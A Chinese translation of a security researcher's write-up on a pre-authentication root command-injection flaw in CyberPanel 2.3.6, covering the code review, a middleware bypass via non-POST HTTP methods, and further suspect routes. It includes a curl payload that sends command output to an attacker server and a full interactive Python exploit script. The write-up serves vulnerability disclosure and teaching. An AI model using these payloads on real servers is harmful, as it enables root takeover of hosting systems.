声明:该公众号分享的安全工具和项目均来源于网络,仅供安全研究与学习之用,如用于其他用途,由使用者承担全部法律及连带责任,与工具作者和本公众号无关。
本文为翻译文章,需要阅读原文请访问:https://dreyand.rs/code/review/2024/10/27/what-are-my-options-cyberpanel-v236-pre-auth-rce
引言
2024年10月27日 CodeReview
几个月前,我被分配进行一次针对运行 CyberPanel 的目标的渗透测试。它似乎是由一些 VPS 提供商默认安装的,且还得到了 Freshworks 的赞助。
我最初对如何攻陷目标感到无从下手,因为功能有限,于是我决定另辟蹊径,寻找一个 0day 漏洞 ¯_(ツ)_/¯。
这导致我在最新版本(截至目前为 2.3.6)中发现了一个 0-click 预认证根 RCE 漏洞。它目前仍然“未修补”,因为维护者已被通知,补丁已经完成,但仍在等待 CVE 及修复进入主发布版。截止到 10 月 30 日,两个 CVE 已被分配:
CVE-2024-51567
CVE-2024-51568
同时,维护者发布了安全公告。
你可以在此链接找到补丁提交:补丁提交。
我还对漏洞奖励项目进行了大规模扫描,发现了一些受影响的主机——感谢 iustin 的帮助!
我觉得这篇文章还记录了我在审计各种项目时的思维过程,因此如果你是一个有创造力的初学者,想要开始代码审查,我强烈建议你阅读这篇博客。
代码库结构
这实际上是一个相当简单的 Django Web 应用。它的实际目的是在 VPS 上设置各种系统服务(例如 FTP、SSH、SMTP、IMAP 等)。
当我们进入主页时,我们只看到一个登录功能,所以似乎没有太多可以操作的内容 :/
但这只是冰山一角。
像任何 Django 项目一样,在查看实际项目之前,我们应该先了解框架的工作方式,模式如下:
X/urls.py -> 此文件将包含功能 X 的所有 API 路由。
X/views.py -> 此文件将包含映射到功能 X 的路由的所有控制器。
X/views -> 动态生成页面 HTML 的模板。
X/static -> 静态文件和其他东西…
因为这些通常包含身份验证等逻辑,这是我自然开始检查的第一件事。我立刻注意到他们对每个路由逐一进行身份验证检查。
我首先想知道——为什么?你会期望有人使用身份验证中间件或其他方法,而不必自己在每个路由上写身份验证检查。
接下来我想到的是:“如果我是写这样的代码,我肯定会遗漏几个路由的身份验证”——而且,没错,这正是这里发生的事 :)
N-day 漏洞分析
通常当我想更深入了解目标时,我会阅读之前漏洞的写作/利用/文档,这对我了解目标非常有帮助。
我注意到在 2.3.5 版本中发布了以下安全更新:CyberPanel v2-3-5
文件管理器的上传功能中的身份验证绕过:文件管理器上传功能中的一个漏洞,由于人为错误被修正。
“由于人为错误”……这让我想到了。
这让我有了分析这个补丁以深入了解代码库的想法。
让我们看看补丁之前的提交在 filemanager/views.py 中:文件管理器视图:
def upload(request):
try:
data = request.POST
try:
userID = request.session['userID']
admin = Administrator.objects.get(pk=userID)
currentACL = ACLManager.loadedACL(userID)
if ACLManager.checkOwnership(data['domainName'], admin, currentACL) == 1:
pass
else:
return ACLManager.loadErrorJson()
except:
pass
fm = FM(request, data)
return fm.upload()
except KeyError:
return redirect(loadLoginPage)
仔细看看,我们需要绕过的两个检查是:
userID = request.session['userID']
admin = Administrator.objects.get(pk=userID)
第一个检查从 Django 的内部会话对象获取用户 ID,第二个则是调用 Django 的 ORM 来获取我们是否是管理员的信息。
令我惊讶的是,这两个操作实际上都会抛出异常,因为第一个操作试图访问一个不存在的键,而第二个的 get()
则是 Django ORM 的默认行为:
如果没有匹配查询的结果,get()
将引发 DoesNotExist
异常。
好吧,我们需要一个未认证的漏洞,所以这两者都将失败,但代码中明显存在逻辑问题,因为 fm.upload()
在 try/except
之外,仍然会工作,哈哈。找到这个漏洞的人真是有眼光!
让我们看看 upload()
方法:
def upload(self):
try:
finalData = {}
finalData['uploadStatus'] = 1
finalData['answer'] = '文件传输完成。'
ACLManager.CreateSecureDir()
UploadPath = '/usr/local/CyberCP/tmp/'
## 随机文件名
RanddomFileName = str(randint(1000, 9999))
myfile = self.request.FILES['file']
fs = FileSystemStorage()
try:
filename = fs.save(RanddomFileName, myfile)
finalData['fileName'] = fs.url(filename)
except BaseException as msg:
logging.writeToFile('%s. [375:upload]' % (str(msg)))
domainName = self.data['domainName']
try:
pathCheck = '/home/%s' % (self.data['domainName'])
website = Websites.objects.get(domain=domainName)
command = 'ls -la %s' % (self.data['completePath'])
result = ProcessUtilities.outputExecutioner(command, website.externalApp)
#
if result.find('->') > -1:
return self.ajaxPre(0, "符号链接攻击。")
if ACLManager.commandInjectionCheck(self.data['completePath'] + '/' + myfile.name) == 1:
return self.ajaxPre(0, '不允许在此路径下移动,请选择主目录中的位置!')
if (self.data['completePath'] + '/' + myfile.name).find(pathCheck) == -1 or (
(self.data['completePath'] + '/' + myfile.name)).find('..') > -1:
return self.ajaxPre(0, '不允许在此路径下移动,请选择主目录中的位置!')
... 不相关的代码 ...
哦,看来我们现在使用子进程读取文件!这对我们来说是个好消息,我想,这个信息值得记下!
你可以猜到这个漏洞的本质:通过 completePath
进行简单的命令注入,通过 ProcessUtilities.outputExecutioner()
函数。
注意:由于我们的 ORM 检查将失败,因此我认为不能通过 domainName
来利用这个漏洞。
我还做了一个快速的 PoC,我不知道这是否是漏洞的新变体,因为在任何地方都没有提到 RCE,但我想这个补丁也是修复了它:
POST /filemanager/upload HTTP/1.1
Host: <目标>
Content-Type: multipart/form-data; boundary=----NewBoundary123456789
Cookie: csrftoken=<CSRF-TOKEN>
X-Csrftoken: <CSRF-TOKEN>
Content-Length: 494
Referer: https://<目标>:8090/
------NewBoundary123456789
Content-Disposition: form-data; name="domainName"
<目标>
------NewBoundary123456789
Content-Disposition: form-data; name="completePath"
; curl -X POST https://<exploit-server> -d "pwn=$(id)"
------NewBoundary123456789
Content-Disposition: form-data; name="file"; filename="poc.txt"
pwn
------NewBoundary123456789--
无论如何,让我们总结一下我们到目前为止获得的知识:
身份验证检查是通过
request.session['userID']
和 Django 的 ORM 逐路由进行的。他们喜欢将内容通过子进程传输。
他们喜欢搞乱事物的顺序。
他们喜欢忘记事情。
FYI:许多端点仅通过传递 userID=1
进行交互,允许您未认证地使用它们。希望这能给大家一个提示,如果他们想找更多漏洞 :)
找到 0day
在这一点上,我使用 Semgrep 搜索潜在的有趣代码,立刻发现了一段代码:
def upgrademysqlstatus(request):
try:
data = json.loads(request.body)
statusfile = data['statusfile']
installStatus = ProcessUtilities.outputExecutioner("sudo cat " + statusfile)
if installStatus.find("[200]") > -1
:
command = 'sudo rm -f ' + statusfile
ProcessUtilities.executioner(command)
final_json = json.dumps({
'error_message': "None",
'requestStatus': installStatus,
'abort': 1,
'installed': 1,
})
return HttpResponse(final_json)
elif installStatus.find("[404]") > -1:
command = 'sudo rm -f ' + statusfile
ProcessUtilities.executioner(command)
final_json = json.dumps({
'abort': 1,
'installed': 0,
'error_message': "None",
'requestStatus': installStatus,
})
return HttpResponse(final_json)
else:
final_json = json.dumps({
'abort': 0,
'error_message': "None",
'requestStatus': installStatus,
})
return HttpResponse(final_json)
except KeyError:
return redirect(loadLoginPage)
这段代码显然没有任何身份验证检查,且最近刚被添加。有人肯定是疏忽了,否则不会如此简单。
让我们尝试触发一个 PoC 来验证这一点。
绕过 secMiddleware
代码较长,因此我附上了简化版:
class secMiddleware:
HIGH = 0
LOW = 1
def get_client_ip(request):
ip = request.META.get('HTTP_CF_CONNECTING_IP')
if ip is None:
ip = request.META.get('REMOTE_ADDR')
return ip
def __init__(self, get_response):
self.get_response = get_response
...
if request.method == 'POST':
try:
data = json.loads(request.body)
for key, value in data.items():
if request.path.find('gitNotify') > -1:
break
if type(value) == str or type(value) == bytes:
pass
elif type(value) == list:
for items in value:
if items.find('- -') > -1 or items.find('\n') > -1 or items.find(';') > -1 or items.find('&&') > -1 or items.find('|') > -1 or items.find('...') > -1 \
or items.find("`") > -1 or items.find("$") > -1 or items.find("(") > -1 or items.find(")") > -1 \
or items.find("'") > -1 or items.find("[") > -1 or items.find("]") > -1 or items.find("{") > -1 or items.find("}") > -1 \
or items.find(":") > -1 or items.find("<") > -1 or items.find(">") > -1 or items.find("&") > -1:
logging.writeToFile(request.body)
final_dic = {
'error_message': "数据不被接受,输入中不允许以下字符 ` $ & ( ) [ ] { } ; : ‘ < >.",
"errorMessage": "数据不被接受,输入中不允许以下字符 ` $ & ( ) [ ] { } ; : ‘ < >."
}
final_json = json.dumps(final_dic)
return HttpResponse(final_json)
else:
continue
...
在这一点上,我开始对各种字符和技巧进行模糊测试,以尝试绕过此端点的检查,但没有成功。
所以,我开始逻辑性地思考,发现了一个有趣的绕过方法,这需要一点创造力,而不需要对复杂的 Linux 技巧有深入了解。
注意到,middleware 仅在 POST 请求方法时进行命令注入检查,而我们看到的 upgrademysqlstatus()
路由是通过 json.loads(request.body)
加载 POST 数据的。
根据 Django 文档,body
属性的原始 HTTP 请求体会以字节串的形式返回。这对于处理与常规 HTML 表单不同的数据很有用。
你注意到了吗?这意味着我们可以以OPTIONS/PUT/PATCH
等其他 HTTP
方法发送请求,从而完全绕过安全中间件。
于是,我们可以实现:
(这很有意义,因为这个项目用于管理系统上的所有服务。)
漏洞利用
我写了一个简单的交互式利用脚本,你可以使用,尽情享用!
import httpx
import sys
def get_CSRF_token(client):
resp = client.get("/")
return resp.cookies['csrftoken']
def pwn(client, CSRF_token, cmd):
headers = {
"X-CSRFToken": CSRF_token,
"Content-Type": "application/json",
"Referer": str(client.base_url)
}
payload = '{"statusfile":"/dev/null; %s; #","csrftoken":"%s"}' % (cmd, CSRF_token)
return client.put("/dataBases/upgrademysqlstatus", headers=headers, data=payload).json()["requestStatus"]
def exploit(client, cmd):
CSRF_token = get_CSRF_token(client)
stdout = pwn(client, CSRF_token, cmd)
print(stdout)
if __name__ == "__main__":
target = sys.argv[1]
client = httpx.Client(base_url=target, verify=False)
while True:
cmd = input("$> ")
exploit(client, cmd)
挑战
希望你阅读这篇文章时感到愉快 :)
既然你已经读到了这里,我给你一个挑战,去找出这个代码中的另一个漏洞:
我的朋友发现了这个确切漏洞的另一种变体,你能找到吗?(可以解决)
这更多是如果你想找另一个 0day,请检查 restoreStatus
路由:
def restoreStatus(self, data=None):
try:
backupFile = data['backupFile'].strip(".tar.gz")
path = os.path.join("/home", "backup", data['backupFile'])
if os.path.exists(path):
path = os.path.join("/home", "backup", backupFile)
elif os.path.exists(data['backupFile']):
path = data['backupFile'].strip(".tar.gz")
else:
dir = data['dir']
path = "/home/backup/transfer-" + str(dir) + "/" + backupFile
if os.path.exists(path):
try:
execPath = "sudo cat " + path + "/status"
status = ProcessUtilities.outputExecutioner(execPath)
看起来这里又是一个简单的命令注入案例——问题在于,os.path.exists
需要返回 True,同时路径仍然要包含命令注入的有效负载。我们可能需要一个任意文件创建的 gadget。(是的,我知道 Python 中的 os.path.join
技巧,不,它在这里没有帮助。)
在 backupStatus
中似乎也存在类似的情况:
def backupStatus(self, userID=None, data=None):
try:
backupDomain = data['websiteToBeBacked']
status = os.path.join("/home", backupDomain, "backup/status")
backupFileNamePath = os.path.join("/home", backupDomain, "backup/backupFileName")
pid = os.path.join("/home", backupDomain, "backup/pid")
domain = Websites.objects.get(domain=backupDomain)
## 读取文件名
try:
command = "sudo cat " + backupFileNamePath
fileName = ProcessUtilities.outputExecutioner(command, domain.externalApp)
if fileName.find('No such file or directory') > -1:
final_json = json.dumps({'backupStatus': 0, 'error_message': "None", "status": 0, "abort": 0})
return HttpResponse(final_json)
except:
这里唯一的问题是,如果 backupDomain
不存在,我们会遇到 ORM 异常。再次需要一个网站/文件名创建的漏洞。
祝你好运!